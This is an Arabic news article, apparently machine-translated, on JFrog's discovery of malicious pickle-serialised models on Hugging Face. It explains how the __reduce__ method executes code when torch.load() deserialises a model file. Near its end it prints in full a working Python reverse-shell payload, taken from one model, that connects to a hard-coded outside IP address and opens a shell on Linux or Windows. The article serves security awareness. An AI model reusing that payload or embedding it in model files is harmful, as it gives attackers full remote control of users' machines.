في ورطة –
لقد كانت عمليات الإرسال الضارة حقيقة من حقائق الحياة بالنسبة لمستودعات الأكواد البرمجية. الذكاء الاصطناعي لا يختلف.
قال باحثون من شركة الأمن JFrog، يوم الخميس، في تقرير، إن التعليمات البرمجية التي تم تحميلها على منصة تطوير الذكاء الاصطناعي Hugging Face، قامت بتثبيت أبواب خلفية وأنواع أخرى من البرامج الضارة سرًا على أجهزة المستخدم النهائي.
إجمالاً، قال باحثو JFrog إنهم عثروا على ما يقرب من 100 إرسالية نفذت إجراءات مخفية وغير مرغوب فيها عندما تم تنزيلها وتحميلها على جهاز المستخدم النهائي. يبدو أن معظم نماذج التعلم الآلي التي تم الإبلاغ عنها – والتي لم يتم اكتشافها جميعًا بواسطة Hugging Face – كانت بمثابة أدلة حميدة على المفهوم الذي تم تحميله من قبل الباحثين أو المستخدمين الفضوليين. قال باحثو JFrog في رسالة بالبريد الإلكتروني إن 10 منها كانت “خبيثة حقًا” من حيث أنها نفذت إجراءات تهدد أمان المستخدمين عند تحميلها.
السيطرة الكاملة على أجهزة المستخدم
أثار أحد النماذج قلقًا خاصًا لأنه فتح غلافًا عكسيًا يمنح جهازًا بعيدًا على الإنترنت التحكم الكامل في جهاز المستخدم النهائي. عندما قام باحثو JFrog بتحميل النموذج في جهاز معملي، قام التقديم بالفعل بتحميل غلاف عكسي ولكنه لم يتخذ أي إجراء آخر.
وقد أدى ذلك إلى أن عنوان IP الخاص بالجهاز البعيد ووجود أغلفة متطابقة متصلة في مكان آخر يزيد من احتمال أن يكون الإرسال أيضًا من عمل الباحثين. ومع ذلك، فإن الاستغلال الذي يفتح جهازًا لمثل هذا التلاعب يعد انتهاكًا كبيرًا لأخلاقيات البحث ويوضح أنه، تمامًا مثل التعليمات البرمجية المقدمة إلى GitHub ومنصات المطورين الأخرى، يمكن للنماذج المتاحة على مواقع الذكاء الاصطناعي أن تشكل مخاطر جسيمة إذا لم يتم فحصها بعناية أولاً.
“إن حمولة النموذج تمنح المهاجم قذيفة على الجهاز المخترق، مما يمكنه من السيطرة الكاملة على أجهزة الضحايا من خلال ما يشار إليه عادة باسم” الباب الخلفي “،” كبير الباحثين في JFrog ديفيد كوهين كتب. “يمكن لهذا التسلل الصامت أن يمنح إمكانية الوصول إلى الأنظمة الداخلية المهمة ويمهد الطريق لانتهاكات البيانات على نطاق واسع أو حتى التجسس على الشركات، مما لا يؤثر على المستخدمين الأفراد فحسب، بل على المؤسسات بأكملها في جميع أنحاء العالم، كل ذلك مع ترك الضحايا غير مدركين تمامًا لحالتهم المعرضة للخطر.” “.
كيف فعلت baller432 ذلك
مثل النماذج التسعة الخبيثة حقًا، تم استخدام النموذج الذي تمت مناقشته هنا ورطة، وهو التنسيق الذي تم الاعتراف به منذ فترة طويلة على أنه محفوف بالمخاطر بطبيعته. يتم استخدام Pickles بشكل شائع في Python لتحويل الكائنات والفئات في التعليمات البرمجية التي يمكن قراءتها بواسطة الإنسان إلى تدفق بايت بحيث يمكن حفظها على القرص أو مشاركتها عبر الشبكة. تتيح هذه العملية، المعروفة باسم التسلسل، للمتسللين فرصة تسلل التعليمات البرمجية الضارة إلى التدفق.
كان النموذج الذي أنتج الغلاف العكسي، والذي قدمه طرف يحمل اسم المستخدم baller432، قادرًا على تجنب ماسح البرامج الضارة الخاص بـ Hugging Face باستخدام طريقة “__reduce__” الخاصة بـ Pickle لتنفيذ تعليمات برمجية عشوائية بعد تحميل ملف النموذج.
شرح كوهين من JFrog العملية بلغة أكثر تفصيلاً من الناحية الفنية:
عند تحميل نماذج PyTorch باستخدام المحولات، يتضمن الأسلوب الشائع استخدام وظيفة torch.load()، التي تعمل على إلغاء تسلسل النموذج من ملف. خاصة عند التعامل مع نماذج PyTorch التي تم تدريبها باستخدام مكتبة Hugging Face’s Transformers، غالبًا ما يتم استخدام هذه الطريقة لتحميل النموذج مع بنيته وأوزانه وأي تكوينات مرتبطة به. توفر المحولات إطارًا شاملاً لمهام معالجة اللغة الطبيعية، مما يسهل إنشاء ونشر نماذج متطورة. في سياق المستودع “baller423/goober2″، يبدو أنه تم إدخال الحمولة الضارة في ملف نموذج PyTorch باستخدام طريقة __reduce__ لوحدة Pickle. تتيح هذه الطريقة، كما هو موضح في المرجع المقدم، للمهاجمين إدراج تعليمات برمجية عشوائية لـ Python في عملية إلغاء التسلسل، مما قد يؤدي إلى سلوك ضار عند تحميل النموذج.
بعد تحليل ملف PyTorch باستخدام أداة التقلب، نجحنا في استخراج الحمولة التالية:
RHOST="210.117.212.93"RPORT=4242from sys import platformif platform !='win32': import threading import socket import pty import os def connect_and_spawn_shell(): s=socket.socket() s.connect((RHOST, RPORT)) [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)] pty.spawn("/bin/sh") threading.Thread(target=connect_and_spawn_shell).start()else: import os import socket import subprocess import threading import sys def send_to_process(s, p): while True: p.stdin.write(s.recv(1024).decode()) p.stdin.flush() def receive_from_process(s, p): while True: s.send(p.stdout.read(1).encode()) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) while True: try: s.connect((RHOST, RPORT)) break except: pass p=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True) threading.Thread(target=send_to_process, args=[s, p], daemon=True).start() threading.Thread(target=receive_from_process, args=[s, p], daemon=True).start() p.wait()
قام Hugging Face منذ ذلك الحين بإزالة النموذج والنماذج الأخرى التي تم وضع علامة عليها بواسطة JFrog.